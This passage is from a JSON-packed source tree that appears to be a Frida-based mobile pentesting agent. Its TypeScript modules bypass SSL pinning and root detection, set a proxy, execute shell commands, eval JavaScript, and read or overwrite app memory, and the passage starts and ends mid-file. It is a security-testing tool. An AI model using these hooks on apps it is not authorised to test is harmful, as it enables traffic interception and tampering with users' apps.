wrapJavaPerform(() => {\n    try {\n      const sslCertificateChecker: SSLCertificateChecker = Java.use(\"nl.xservices.plugins.SSLCertificateChecker\");\n\n      if(!sslCertificateChecker.execute) {\n        return null;\n      }\n      \n      send(\n        c.blackBright(`Found nl.xservices.plugins.SSLCertificateChecker, ` +\n          `overriding SSLCertificateChecker.execute()`),\n      );\n\n      const SSLCertificateCheckerExecute = sslCertificateChecker.execute.overload(\"java.lang.String\", \n        \"org.json.JSONArray\", \"org.apache.cordova.CallbackContext\");\n\n      SSLCertificateCheckerExecute.implementation = function (str, jsonArray, callBackContext) {\n        qsend(quiet,\n          c.blackBright(`[${ident}] `) + `Called ` +\n          c.green(`SSLCertificateChecker.execute()`) +\n          `, not throwing an exception.`,\n        );\n        callBackContext.success(\"CONNECTION_SECURE\");\n        return true;\n      };\n\n      return SSLCertificateCheckerExecute;\n\n    } catch (err) {\n      if ((err as Error).message.indexOf(\"java.lang.ClassNotFoundException\") !== 0) {\n        throw err;\n      }\n      return null;\n    }\n  });\n};\n\n// the main exported function to run all of the pinning bypass methods known\nexport const disable = async (q: boolean): Promise<void> => {\n  if (q) {\n    send(c.yellow(`Quiet mode enabled. Not reporting invocations.`));\n    quiet = true;\n  }\n\n  const job: jobs.Job = new jobs.Job(jobs.identifier(), \"android-sslpinning-disable\");\n  \n  job.addImplementation(await sslContextEmptyTrustManager(job.identifier));\n  // Exceptions can cause undefined values if classes are not found. Thus addImplementation only adds if function was hooked\n  job.addImplementation(await okHttp3CertificatePinnerCheck(job.identifier));\n  job.addImplementation(await okHttp3CertificatePinnerCheckOkHttp(job.identifier));\n  job.addImplementation(await appceleratorTitaniumPinningTrustManager(job.identifier));\n  job.addImplementation(await trustManagerImplVerifyChainCheck(job.identifier));\n  job.addImplementation(await trustManagerImplCheckTrustedRecursiveCheck(job.identifier));\n  job.addImplementation(await phoneGapSSLCertificateChecker(job.identifier));\n\n  jobs.add(job);\n};\n"
  },
  {
    "path": "agent/src/android/proxy.ts",
    "content": "import { \n  wrapJavaPerform,\n  Java\n} from \"./lib/libjava.js\";\nimport { colors as c } from \"../lib/color.js\";\n\nexport const set = (host: string, port: string): Promise<void> => {\n  return wrapJavaPerform(() => {\n    var proxyHost = host;\n    var proxyPort = port;\n\n    var System = Java.use(\"java.lang.System\");\n\n    if (System != undefined) {\n      send(c.green(`Setting properties for a proxy`));\n      System.setProperty(\"http.proxyHost\", proxyHost);\n      System.setProperty(\"http.proxyPort\", proxyPort);\n\n      System.setProperty(\"https.proxyHost\", proxyHost);\n      System.setProperty(\"https.proxyPort\", proxyPort);\n\n      send(`${c.green(`Proxy configured to ` + proxyHost + ` ` + proxyPort)}`);\n    }\n  });\n};\n"
  },
  {
    "path": "agent/src/android/root.ts",
    "content": "import { colors as c } from \"../lib/color.js\";\nimport * as jobs from \"../lib/jobs.js\";\nimport {\n  wrapJavaPerform,\n  Java\n} from \"./lib/libjava.js\";\nimport {\n  File,\n  IOException,\n  JavaString,\n  Runtime\n} from \"./lib/types.js\";\n\nconst commonPaths = [\n  \"/data/local/bin/su\",\n  \"/data/local/su\",\n  \"/data/local/xbin/su\",\n  \"/dev/com.koushikdutta.superuser.daemon/\",\n  \"/sbin/su\",\n  \"/system/app/Superuser.apk\",\n  \"/system/bin/failsafe/su\",\n  \"/system/bin/su\",\n  \"/system/etc/init.d/99SuperSUDaemon\",\n  \"/system/sd/xbin/su\",\n  \"/system/xbin/busybox\",\n  \"/system/xbin/daemonsu\",\n  \"/system/xbin/su\",\n];\n\nconst testKeysCheck = (success: boolean, ident: number): any => {\n  return wrapJavaPerform(() => {\n    const JavaString: JavaString = Java.use(\"java.lang.String\");\n\n    JavaString.contains.implementation = function (name) {\n      if (name !== \"test-keys\") {\n        return this.contains.call(this, name);\n      }\n\n      if (success) {\n        send(c.blackBright(`[${ident}] `) + `Marking \"test-keys\" check as ` + c.green(`successful`) + `.`);\n        return true;\n      }\n\n      send(c.blackBright(`[${ident}] `) + `Marking \"test-keys\" check as ` + c.green(`failed`) + `.`);\n      return false;\n    };\n\n    return JavaString.contains;\n  });\n};\n\nconst execSuCheck = (success: boolean, ident: number): any => {\n  return wrapJavaPerform(() => {\n    const JavaRuntime: Runtime = Java.use(\"java.lang.Runtime\");\n    const iOException: IOException = Java.use(\"java.io.IOException\");\n    const JavaRuntime_exec = JavaRuntime.exec.overload(\"java.lang.String\");\n\n    JavaRuntime_exec.implementation = function (command: string) {\n      if (command.endsWith(\"su\")) {\n        if (success) {\n          send(c.blackBright(`[${ident}] `) + `Check for 'su' using command exec detected, allowing.`);\n          return this.apply(this, arguments);\n        }\n\n        send(c.blackBright(`[${ident}] `) + `Check for 'su' using command exec detected, throwing IOException.`);\n        throw iOException.$new(\"objection anti-root\");\n      }\n\n      // call the original method\n      return this.exec.overload(\"java.lang.String\").call(this, command);\n    };\n\n    return JavaRuntime_exec;\n  });\n};\n\nconst fileExistsCheck = (success: boolean, ident: number): any => {\n  return wrapJavaPerform(() => {\n    const JavaFile: File = Java.use(\"java.io.File\");\n    JavaFile.exists.implementation = function () {\n      const filename = this.getAbsolutePath();\n      if (commonPaths.indexOf(filename) >= 0) {\n        if (success) {\n          send(\n            c.blackBright(`[${ident}] `) +\n            `File existence check for ${filename} detected, marking as ${c.green(\"true\")}.`,\n          );\n          return true;\n        }\n\n        send(\n          c.blackBright(`[${ident}] `) +\n          `File existence check for ${filename} detected, marking as ${c.green(\"false\")}.`,\n        );\n        return false;\n      }\n\n      // call the original method\n      return this.exists.call(this);\n    };\n\n    return JavaFile.exists;\n  });\n};\n\n// RootBeer: https://github.com/scottyab/rootbeer\n\nconst rootBeerIsRooted = (success: boolean, ident: number): any => {\n  return wrapJavaPerform(() => {\n    const RootBeer = Java.use(\"com.scottyab.rootbeer.RootBeer\");\n    const RootBeer_isRooted = RootBeer.isRooted.overload();\n\n    RootBeer_isRooted.implementation = function () {\n      if (success) {\n        send(\n          c.blackBright(`[${ident}] `) +\n          `RootBeer->isRooted() check detected, marking as ${c.green(\"true\")}.`,\n        );\n        return true;\n      }\n\n      send(\n        c.blackBright(`[${ident}] `) +\n        `RootBeer->isRooted() check detected, marking as ${c.green(\"false\")}.`,\n      );\n      return false;\n    };\n\n    return RootBeer_isRooted;\n  });\n};\n\nconst rootBeerCheckForBinary = (success: boolean, ident: number): any => {\n  return wrapJavaPerform(() => {\n    const RootBeer = Java.use(\"com.scottyab.rootbeer.RootBeer\");\n    RootBeer.checkForBinary.overload('java.lang.String').implementation = function () {\n      if (success) {\n        send(\n          c.blackBright(`[${ident}] `) +\n          `RootBeer->checkForBinary() check detected, marking as ${c.green(\"true\")}.`,\n        );\n        return true;\n      }\n\n      send(\n        c.blackBright(`[${ident}] `) +\n        `RootBeer->checkForBinary() check detected, marking as ${c.green(\"false\")}.`,\n      );\n      return false;\n    };\n\n    return RootBeer.checkForBinary;\n  });\n};\n\nconst rootBeerCheckForDangerousProps = (success: boolean, ident: number): any => {\n  return wrapJavaPerform(() => {\n    const RootBeer = Java.use(\"com.scottyab.rootbeer.RootBeer\");\n    RootBeer.checkForDangerousProps.overload().implementation = function () {\n      if (success) {\n        send(\n          c.blackBright(`[${ident}] `) +\n          `RootBeer->checkForDangerousProps() check detected, marking as ${c.green(\"true\")}.`,\n        );\n        return true;\n      }\n\n      send(\n        c.blackBright(`[${ident}] `) +\n        `RootBeer->checkForDangerousProps() check detected, marking as ${c.green(\"false\")}.`,\n      );\n      return false;\n    };\n\n    return RootBeer.checkForDangerousProps;\n  });\n};\n\nconst rootBeerDetectRootCloakingApps = (success: boolean, ident: number): any => {\n  return wrapJavaPerform(() => {\n    const RootBeer = Java.use(\"com.scottyab.rootbeer.RootBeer\");\n    const RootBeer_detectRootCloakingApps = RootBeer.detectRootCloakingApps.overload();\n\n    RootBeer_detectRootCloakingApps.implementation = function () {\n      if (success) {\n        send(\n          c.blackBright(`[${ident}] `) +\n          `RootBeer->detectRootCloakingApps() check detected, marking as ${c.green(\"true\")}.`,\n        );\n        return true;\n      }\n\n      send(\n        c.blackBright(`[${ident}] `) +\n        `RootBeer->detectRootCloakingApps() check detected, marking as ${c.green(\"false\")}.`,\n      );\n      return false;\n    };\n\n    return RootBeer_detectRootCloakingApps;\n  });\n};\n\nconst rootBeerCheckSuExists = (success: boolean, ident: number): any => {\n  return wrapJavaPerform(() => {\n    const RootBeer = Java.use(\"com.scottyab.rootbeer.RootBeer\");\n    RootBeer.checkSuExists.overload().implementation = function () {\n      if (success) {\n        send(\n          c.blackBright(`[${ident}] `) +\n          `RootBeer->checkSuExists() check detected, marking as ${c.green(\"true\")}.`,\n        );\n        return true;\n      }\n\n      send(\n        c.blackBright(`[${ident}] `) +\n        `RootBeer->checkSuExists() check detected, marking as ${c.green(\"false\")}.`,\n      );\n      return false;\n    };\n\n    return RootBeer.checkSuExists;\n  });\n};\n\nconst rootBeerDetectTestKeys = (success: boolean, ident: number): any => {\n  return wrapJavaPerform(() => {\n    const RootBeer = Java.use(\"com.scottyab.rootbeer.RootBeer\");\n    RootBeer.detectTestKeys.overload().implementation = function () {\n      if (success) {\n        send(\n          c.blackBright(`[${ident}] `) +\n          `RootBeer->detectTestKeys() check detected, marking as ${c.green(\"true\")}.`,\n        );\n        return true;\n      }\n\n      send(\n        c.blackBright(`[${ident}] `) +\n        `RootBeer->detectTestKeys() check detected, marking as ${c.green(\"false\")}.`,\n      );\n      return false;\n    };\n\n    return RootBeer.detectTestKeys;\n  });\n};\n\nconst rootBeerCheckSeLinux = (success: boolean, ident: number): any => {\n  return wrapJavaPerform(() => {\n    try {\n      const Util = Java.use(\"com.scottyab.rootbeer.util\");\n      Util.isSelinuxFlagInEnabled.overload().implementation = function () {\n        if (success) {\n          send(\n            c.blackBright(`[${ident}]`) +\n            `Rootbeer.util->isSelinuxFlagInEnabled() check detected, marking as ${c.green(\"true\")}`,\n          );\n          return true;\n        }\n  \n        send(\n          c.blackBright(`[${ident}] `) +\n          `Rootbeer.util->isSelinuxFlagInEnabled() check detected, marking as ${c.green(\"false\")}`,\n        );\n        return false;\n      };\n  \n      return Util.isSelinuxFlagInEnabled;\n    } catch (err) {\n      if ((err as Error).message.indexOf(\"java.lang.ClassNotFoundException\") === 0) {\n        return null;\n      };\n      throw err;\n    }\n  });\n};\n\nconst rootBeerNative = (success: boolean, ident: number): any => {\n  return wrapJavaPerform(() => {\n    const RootBeerNative = Java.use(\"com.scottyab.rootbeer.RootBeerNative\");\n    const RootBeerNative_checkForRoot = RootBeerNative.checkForRoot.overload('[Ljava.lang.Object;');\n    RootBeerNative_checkForRoot.implementation = function () {\n      if (success) {\n        send(\n          c.blackBright(`[${ident}] `) +\n          `RootBeerNative->checkForRoot() check detected, marking as ${c.green(\"1\")}.`,\n        );\n        return 1;\n      }\n\n      send(\n        c.blackBright(`[${ident}] `) +\n        `RootBeerNative->checkForRoot() check detected, marking as ${c.green(\"0\")}.`,\n      );\n      return 0;\n    };\n\n    return RootBeerNative_checkForRoot;\n  });\n};\n\n// ref: https://www.ayrx.me/gantix-jailmonkey-root-detection-bypass/\nconst jailMonkeyBypass = (success: boolean, ident: number): Promise<any> => {\n  return wrapJavaPerform(() => {\n    try {\n      const JavaJailMonkeyModule = Java.use(\"com.gantix.JailMonkey.JailMonkeyModule\");\n      const JavaHashMap = Java.use(\"java.util.HashMap\");\n      const JavaBoolean = Java.use(\"java.lang.Boolean\")\n      const JavaFalseObject = JavaBoolean.FALSE.value;\n      const JavaTrueObject = JavaBoolean.TRUE.value;\n\n      JavaJailMonkeyModule.getConstants.implementation = function () {\n        if (success) {\n          send(\n            c.blackBright(`[${ident}] `) +\n            `RootBeer->checkForDangerousProps() check detected, marking as ${c.green(\"true\")} for all keys.`,\n          );\n          const hm = JavaHashMap.$new();\n          hm.put(\"isJailBroken\", JavaTrueObject);\n          hm.put(\"hookDetected\", JavaTrueObject);\n          hm.put(\"canMockLocation\", JavaTrueObject);\n          hm.put(\"isOnExternalStorage\", JavaTrueObject);\n          hm.put(\"AdbEnabled\", JavaTrueObject);\n          \n          return hm;\n        }\n        send(\n          c.blackBright(`[${ident}] `) +\n          `JailMonkeyModule.getConstants() called, returning ${c.green(\"false\")} for all keys.`\n        );\n\n        const hm = JavaHashMap.$new();\n        hm.put(\"isJailBroken\", JavaFalseObject);\n        hm.put(\"hookDetected\", JavaFalseObject);\n        hm.put(\"canMockLocation\", JavaFalseObject);\n        hm.put(\"isOnExternalStorage\", JavaFalseObject);\n        hm.put(\"AdbEnabled\", JavaFalseObject);\n\n        return hm;\n      };\n\n      return JavaJailMonkeyModule.getConstants;\n    } catch (err) {\n      if ((err as Error).message.indexOf(\"java.lang.ClassNotFoundException\") === 0) {\n        return null;\n      };\n      throw err;\n    }\n  });\n};\n\nexport const disable = async (): Promise<void> => {\n  const job: jobs.Job = new jobs.Job(jobs.identifier(), 'root-detection-disable');\n\n  job.addImplementation(await testKeysCheck(false, job.identifier));\n  job.addImplementation(await execSuCheck(false, job.identifier));\n  job.addImplementation(await fileExistsCheck(false, job.identifier));\n  job.addImplementation(await jailMonkeyBypass(false, job.identifier));\n  // RootBeer functions\n  job.addImplementation(await rootBeerIsRooted(false, job.identifier));\n  job.addImplementation(await rootBeerCheckForBinary(false, job.identifier));\n  job.addImplementation(await rootBeerCheckForDangerousProps(false, job.identifier));\n  job.addImplementation(await rootBeerDetectRootCloakingApps(false, job.identifier));\n  job.addImplementation(await rootBeerCheckSuExists(false, job.identifier));\n  job.addImplementation(await rootBeerDetectTestKeys(false, job.identifier));\n  job.addImplementation(await rootBeerNative(false, job.identifier));\n  job.addImplementation(await rootBeerCheckSeLinux(false, job.identifier));\n\n  jobs.add(job);\n};\n\nexport const enable = async (): Promise<void> => {\n  const job: jobs.Job = new jobs.Job(jobs.identifier(), \"root-detection-enable\");\n\n  job.addImplementation(await testKeysCheck(true, job.identifier));\n  job.addImplementation(await execSuCheck(true, job.identifier));\n  job.addImplementation(await fileExistsCheck(true, job.identifier));\n  job.addImplementation(await jailMonkeyBypass(true, job.identifier));\n\n  // RootBeer functions\n  job.addImplementation(await rootBeerIsRooted(true, job.identifier));\n  job.addImplementation(await rootBeerCheckForBinary(true, job.identifier));\n  job.addImplementation(await rootBeerCheckForDangerousProps(true, job.identifier));\n  job.addImplementation(await rootBeerDetectRootCloakingApps(true, job.identifier));\n  job.addImplementation(await rootBeerCheckSuExists(true, job.identifier));\n  job.addImplementation(await rootBeerDetectTestKeys(true, job.identifier));\n  job.addImplementation(await rootBeerNative(true, job.identifier));\n  job.addImplementation(await rootBeerCheckSeLinux(false, job.identifier));\n\n  jobs.add(job);\n};\n"
  },
  {
    "path": "agent/src/android/shell.ts",
    "content": "import { IExecutedCommand } from \"./lib/interfaces.js\";\nimport {\n  wrapJavaPerform,\n  Java\n} from \"./lib/libjava.js\";\nimport {\n  BufferedReader,\n  InputStreamReader,\n  Runtime,\n  StringBuilder\n} from \"./lib/types.js\";\n\n\n// Executes shell commands on an Android device using Runtime.getRuntime().exec()\nexport const execute = (cmd: string): Promise<IExecutedCommand> => {\n  // -- Sample Java\n  //\n  // Process command = Runtime.getRuntime().exec(\"ls -l /\");\n  // InputStreamReader isr = new InputStreamReader(command.getInputStream());\n  // BufferedReader br = new BufferedReader(isr);\n  //\n  // StringBuilder sb = new StringBuilder();\n  // String line = \"\";\n  //\n  // while ((line = br.readLine()) != null) {\n  //     sb.append(line + \"\\n\");\n  // }\n  //\n  // String output = sb.toString();\n  return wrapJavaPerform(() => {\n\n    const runtime: Runtime = Java.use(\"java.lang.Runtime\");\n    const inputStreamReader: InputStreamReader = Java.use(\"java.io.InputStreamReader\");\n    const bufferedReader: BufferedReader = Java.use(\"java.io.BufferedReader\");\n    const stringBuilder: StringBuilder = Java.use(\"java.lang.StringBuilder\");\n\n    // Run the command\n    const command = runtime.getRuntime().exec(cmd);\n\n    // Read 'stderr'\n    const stdErrInputStreamReader: InputStreamReader = inputStreamReader.$new(command.getErrorStream());\n    let bufferedReaderInstance: BufferedReader = bufferedReader.$new(stdErrInputStreamReader);\n\n    const stdErrStringBuilder: StringBuilder = stringBuilder.$new();\n    let lineBuffer: string;\n\n    // tslint:disable-next-line:no-conditional-assignment\n    while ((lineBuffer = bufferedReaderInstance.readLine()) != null) {\n      stdErrStringBuilder.append(lineBuffer + \"\\n\");\n    }\n\n    // Read 'stdout'\n    const stdOutInputStreamReader: InputStreamReader = inputStreamReader.$new(command.getInputStream());\n    bufferedReaderInstance = bufferedReader.$new(stdOutInputStreamReader);\n\n    const stdOutStringBuilder = stringBuilder.$new();\n    lineBuffer = \"\";\n\n    // tslint:disable-next-line:no-conditional-assignment\n    while ((lineBuffer = bufferedReaderInstance.readLine()) != null) {\n      stdOutStringBuilder.append(lineBuffer + \"\\n\");\n    }\n\n    return {\n      command: cmd,\n      stdErr: stdErrStringBuilder.toString(),\n      stdOut: stdOutStringBuilder.toString(),\n    };\n  });\n};\n"
  },
  {
    "path": "agent/src/android/userinterface.ts",
    "content": "import { colors as c } from \"../lib/color.js\";\nimport {\n  wrapJavaPerform,\n  Java\n} from \"./lib/libjava.js\";\nimport {\n  Activity,\n  ActivityClientRecord,\n  ActivityThread,\n  Bitmap,\n  ByteArrayOutputStream,\n  CompressFormat,\n} from \"./lib/types.js\";\n\n\n// https://developer.android.com/reference/android/view/WindowManager.LayoutParams.html#FLAG_SECURE\nconst FLAG_SECURE = 0x00002000;\n\nexport const screenshot = (): Promise<any> => {\n  return wrapJavaPerform(() => {\n    // Take a screenshot by making use of a View's drawing cache:\n    //  ref: https://developer.android.com/reference/android/view/View.html#getDrawingCache(boolean)\n    const activityThread: ActivityThread = Java.use(\"android.app.ActivityThread\");\n    const activity: Activity = Java.use(\"android.app.Activity\");\n    const activityClientRecord: ActivityClientRecord = Java.use(\"android.app.ActivityThread$ActivityClientRecord\");\n    const bitmap: Bitmap = Java.use(\"android.graphics.Bitmap\");\n    const byteArrayOutputStream: ByteArrayOutputStream = Java.use(\"java.io.ByteArrayOutputStream\");\n    const compressFormat: CompressFormat = Java.use(\"android.graphics.Bitmap$CompressFormat\");\n\n    let bytes;\n\n    const currentActivityThread = activityThread.currentActivityThread();\n    const activityRecords = currentActivityThread.mActivities.value.values().toArray();\n    let currentActivity;\n\n    for (const i of activityRecords) {\n      const activityRecord = Java.cast(i, activityClientRecord);\n\n      if (!activityRecord.paused.value) {\n        currentActivity = Java.cast(Java.cast(activityRecord, activityClientRecord).activity.value, activity);\n        break;\n      }\n    }\n\n    if (currentActivity) {\n      const view = currentActivity.getWindow().getDecorView().getRootView();\n      view.setDrawingCacheEnabled(true);\n      const bitmapInstance = bitmap.createBitmap(view.getDrawingCache());\n      view.setDrawingCacheEnabled(false);\n\n      const outputStream: ByteArrayOutputStream = byteArrayOutputStream.$new();\n      bitmapInstance.compress(compressFormat.PNG.value, 100, outputStream);\n      bytes = outputStream.buf.value;\n    }\n\n    return bytes;\n  });\n};\n\nexport const setFlagSecure = (v: boolean): Promise<void> => {\n  return wrapJavaPerform(() => {\n    const activityThread: ActivityThread = Java.use(\"android.app.ActivityThread\");\n    const activity: Activity = Java.use(\"android.app.Activity\");\n    const activityClientRecord: ActivityClientRecord = Java.use(\"android.app.ActivityThread$ActivityClientRecord\");\n\n    const currentActivityThread = activityThread.currentActivityThread();\n    const activityRecords = currentActivityThread.mActivities.value.values().toArray();\n    let currentActivity;\n\n    for (const i of activityRecords) {\n      const activityRecord = Java.cast(i, activityClientRecord);\n      if (!activityRecord.paused.value) {\n        currentActivity = Java.cast(Java.cast(activityRecord, activityClientRecord).activity.value, activity);\n        break;\n      }\n    }\n\n    if (currentActivity) {\n      // Somehow the next line prevents Frida from throwing an abort error\n      currentActivity.getWindow();\n      // Set flag and trigger update (Throws abort without first calling getWindow())\n      Java.scheduleOnMainThread(() => {\n        currentActivity.getWindow().setFlags(v ? FLAG_SECURE : 0, FLAG_SECURE);\n        send(`FLAG_SECURE set to ${c.green(v.toString())}`);\n      });\n    }\n  });\n};\n"
  },
  {
    "path": "agent/src/generic/custom.ts",
    "content": "export const evaluate = (js: string): void => {\n  // tslint:disable-next-line:no-eval\n  eval(js);\n};\n"
  },
  {
    "path": "agent/src/generic/environment.ts",
    "content": "import { ObjC } from \"../ios/lib/libobjc.js\";\nimport {\n  getApplicationContext,\n  wrapJavaPerform,\n  Java\n} from \"../android/lib/libjava.js\";\nimport {\n  NSSearchPaths,\n  NSUserDomainMask\n} from \"../ios/lib/constants.js\";\nimport {\n  getNSFileManager,\n  getNSMainBundle\n} from \"../ios/lib/helpers.js\";\nimport { NSBundle } from \"../ios/lib/types.js\";\nimport { DeviceType } from \"../lib/constants.js\";\nimport {\n  IAndroidPackage,\n  IFridaInfo,\n  IIosBundlePaths,\n  IIosPackage\n} from \"../lib/interfaces.js\";\n\n\n// small helper function to lookup ios bundle paths\nconst getPathForNSLocation = (NSPath: NSSearchPaths): string => {\n  const p = getNSFileManager().URLsForDirectory_inDomains_(NSPath, NSUserDomainMask).lastObject();\n\n  if (p) {\n    return p.path().toString();\n  }\n\n  return \"\";\n};\n\nexport const runtime = (): string => {\n  if (ObjC.available) { return DeviceType.IOS; }\n  if (Java.available) { return DeviceType.ANDROID; }\n\n  return DeviceType.UNKNOWN;\n};\n\nexport const frida = (): IFridaInfo => {\n  return {\n    arch: Process.arch,\n    debugger: Process.isDebuggerAttached(),\n    heap: Frida.heapSize,\n    platform: Process.platform,\n    runtime: Script.runtime,\n    version: Frida.version,\n  };\n};\n\nexport const iosPackage = (): IIosPackage => {\n  // -- Sample Objective-C\n  //\n  // NSFileManager *fm = [NSFileManager defaultManager];\n  // NSString *pictures = [[fm URLsForDirectory:NSPicturesDirectory inDomains:NSUserDomainMask] lastObject].path;\n  // NSBundle *bundle = [NSBundle mainBundle];\n  // NSString *bundlePath = [bundle bundlePath];\n  // NSString *receipt = [bundle appStoreReceiptURL].path;\n  // NSString *resourcePath = [bundle resourcePath];\n\n  const { UIDevice } = ObjC.classes;\n  const mb: NSBundle = getNSMainBundle();\n\n  return {\n    applicationName: mb.objectForInfoDictionaryKey_(\"CFBundleIdentifier\").toString(),\n    deviceName: UIDevice.currentDevice().name().toString(),\n    identifierForVendor: UIDevice.currentDevice().identifierForVendor().toString(),\n    model: UIDevice.currentDevice().model().toString(),\n    systemName: UIDevice.currentDevice().systemName().toString(),\n    systemVersion: UIDevice.currentDevice().systemVersion().toString(),\n  };\n};\n\nexport const iosPaths = (): IIosBundlePaths => {\n  const mb: NSBundle = getNSMainBundle();\n\n  return {\n    BundlePath: mb.bundlePath().toString(),\n    CachesDirectory: getPathForNSLocation(NSSearchPaths.NSCachesDirectory),\n    DocumentDirectory: getPathForNSLocation(NSSearchPaths.NSDocumentDirectory),\n    LibraryDirectory: getPathForNSLocation(NSSearchPaths.NSLibraryDirectory),\n  };\n};\n\nexport const androidPackage = (): Promise<IAndroidPackage> => {\n  return wrapJavaPerform(() => {\n\n    // https://developer.android.com/reference/android/os/Build.html\n    const Build: any = Java.use(\"android.os.Build\");\n\n    return {\n      application_name: getApplicationContext().getPackageName(),\n      board: Build.BOARD.value.toString(),\n      brand: Build.BRAND.value.toString(),\n      device: Build.DEVICE.value.toString(),\n      host: Build.HOST.value.toString(),\n      id: Build.ID.value.toString(),\n      model: Build.MODEL.value.toString(),\n      product: Build.PRODUCT.value.toString(),\n      user: Build.USER.value.toString(),\n      version: Java.androidVersion,\n    };\n  });\n};\n\nexport const androidPaths = (): Promise<any> => {\n  // -- Sample Java\n  //\n  // getApplicationContext().getFilesDir().getAbsolutePath()\n  return wrapJavaPerform(() => {\n    const context = getApplicationContext();\n\n    return {\n      cacheDirectory: context.getCacheDir().getAbsolutePath().toString(),\n      codeCacheDirectory: \"getCodeCacheDir\" in context ? context.getCodeCacheDir()\n        .getAbsolutePath().toString() : \"n/a\",\n      externalCacheDirectory: context.getExternalCacheDir().getAbsolutePath().toString(),\n      filesDirectory: context.getFilesDir().getAbsolutePath().toString(),\n      obbDir: context.getObbDir().getAbsolutePath().toString(),\n      packageCodePath: context.getPackageCodePath().toString(),\n    };\n  });\n};\n"
  },
  {
    "path": "agent/src/generic/http.ts",
    "content": "import * as fs from \"frida-fs\";\nimport * as httpLib from \"http\";\nimport * as url from \"url\";\nimport { colors as c } from \"../lib/color.js\";\n\nlet httpServer: httpLib.Server;\nlet listenPort: number;\nlet servePath: string;\n\nconst log = (m: string): void => {\n  c.log(`[http server] ${m}`);\n};\n\nconst dirListingHTML = (pwd: string, path: string): string => {\n  let h = `\n    <html>\n      <body>\n        <h2 style=\"margin: 0;\">Index Of ${path}</h2>\n        {file_listing}\n      </body>\n    </html>\n    `;\n\n  h = h.replace(`{file_listing}`, () => {\n    return fs.list(pwd + decodeURIComponent(path)).map((f) => {\n      if (f.name === '.') return;\n\n      // Add a slash at the end if it is a directory.\n      var fname = f.name + (f.type == 4 ? '/' : '');\n      \n      if (path !== '/') {\n        return `<a href=\"${path + fname}\">${fname}</a>`;\n      } else if (fname !== '../') {\n        return `<a href=\"${fname}\">${fname}</a>`;\n      }\n    }).join(\"<br>\");\n  });\n\n  return h;\n};\n\nexport const start = (pwd: string, port: number = 9000): void => {\n  log(c.redBright(`httpServer module not currently available.`))\n\n  if (httpServer) {\n    log(c.redBright(`Server appears to already be running`));\n    return;\n  }\n\n  // if (!pwd.endsWith(\"/\")) {\n  //   pwd = pwd + \"/\";\n  // }\n  // log(`${c.blackBright(`Starting HTTP server in: ${pwd}`)}`);\n  // servePath = pwd;\n\n  // httpServer = httpLib.createServer((req, res) => {\n    // if (req.method && req.url) {\n    //   log(`${c.greenBright(req.method)} ${req.url}`);\n    // } else {\n    //   log(`${c.redBright('Missing URL or request method.')}`);\n    //   return;\n    // }\n\n    // try {    \n    //   const parsedUrl = url.parse(req.url);  \n    //   const fileLocation = pwd + decodeURIComponent(parsedUrl.path);\n      \n    //   if (fs.statSync(fileLocation).isDirectory()) {\n    //     res.end(dirListingHTML(pwd, parsedUrl.path));\n    //     return;\n    //   }\n\n    //   res.setHeader(\"Content-type\", \"application/octet-stream\");\n\n    //   // Check that we are not reading an empty file\n    //   if (fs.statSync(fileLocation).size !== 0) {\n    //     const file = fs.readFileSync(fileLocation);\n    //     res.write(file, 'utf-8')\n    //   }\n    //   res.end();\n        \n    // } catch (error) {\n    //   if (error instanceof Error && error.message == \"No such file or directory\") {\n    //     res.statusCode = 404;\n    //     res.end(\"File not found\")\n    //   } else {\n    //     if (error instanceof Error) {\n    //       log(c.redBright(`${error.stack}`));\n    //     } else {\n    //       log(c.redBright(`${error}`));\n    //     }\n       \n    //     res.statusCode = 500;\n    //     res.end(\"Internal Server Error\")\n    //   }\n    // }\n  // });\n\n  // httpServer.listen(port);\n  // listenPort = port;\n};\n\nexport const stop = (): void => {\n  if (!httpServer) {\n    log(c.yellowBright(`Server does not appear to be running.`));\n    return;\n  }\n\n  log(c.blackBright(`Waiting for client connections to close then stopping...`));\n  httpServer.close()\n    .once(\"close\", () => {\n      log(c.blackBright(`Server closed.`));\n      httpServer = undefined;\n    });\n};\n\nexport const status = (): void => {\n  if (httpServer && httpServer.listening) {\n    log(`Server is running on port ` +\n      `${c.greenBright(listenPort.toString())} serving ${c.greenBright(servePath)}`);\n    return;\n  }\n\n  log(c.yellowBright(`Server does not appear to be running.`));\n};\n"
  },
  {
    "path": "agent/src/generic/memory.ts",
    "content": "import { colors } from \"../lib/color.js\"\n\nexport const listModules = (): Module[] => {\n  return Process.enumerateModules();\n};\n\nexport const listExports = (name: string): ModuleExportDetails[] => {\n  const mod: Module[] = Process.enumerateModules().filter((m) => m.name === name);\n  if (mod.length <= 0) {\n    return [];\n  }\n  return mod[0].enumerateExports();\n};\n\nexport const listRanges = (protection: string = \"rw-\"): RangeDetails[] => {\n  return Process.enumerateRanges(protection);\n};\n\nexport const dump = (address: string, size: number): ArrayBuffer => {\n  // Originally part of Frida <=11 but got removed in 12.\n  // https://github.com/frida/frida-python/commit/72899a4315998289fb171149d62477ba7d1fcb91\n  const data = new NativePointer(address).readByteArray(size);\n  if (data) {\n    return data;\n  }\n  else {\n    return new ArrayBuffer(0);\n  }\n};\n\nexport const search = (pattern: string, onlyOffsets: boolean = false): string[] => {\n  const addresses = listRanges(\"rw-\")\n    .map((range) => {\n      return Memory.scanSync(range.base, range.size, pattern)\n        .map((match) => {\n          if (!onlyOffsets) {\n            colors.log(hexdump(match.address, {\n              ansi: true,\n              header: false,\n              length: 48,\n            }));\n          }\n          return match.address.toString();\n        });\n    }).filter((m) => m.length !== 0);\n\n  if (addresses.length <= 0) {\n    return [];\n  }\n\n  return addresses.reduce((a, b) => a.concat(b));\n};\n\nexport const replace = (pattern: string, replace: number[]): string[] => {  \n  return search(pattern, true).map((match) => {\n    write(match, replace);\n    return match;\n  })\n};\n\nexport const write = (address: string, value: number[]): void => {\n  new NativePointer(address).writeByteArray(value);\n};\n"
  },
  {
    "path": "agent/src/generic/ping.ts",
    "content": "export const ping = (): boolean => true;\n"
  },
  {
    "path": "agent/src/index.ts",
    "content": "import { ping } from \"./generic/ping.js\";\nimport { android } from \"./rpc/android.js\";\nimport { env } from \"./rpc/environment.js\";\nimport { ios } from \"./rpc/ios.js\";\nimport { jobs } from \"./rpc/jobs.js\";\nimport { memory } from \"./rpc/memory.js\";\nimport { other } from \"./rpc/other.js\";\n\nrpc.exports = {\n  ...android,\n  ...ios,\n  ...env,\n  ...jobs,\n  ...memory,\n  ...other,\n  ping: (): boolean => ping(),\n};\n"
  },
  {
    "path": "agent/src/ios/binary.ts",
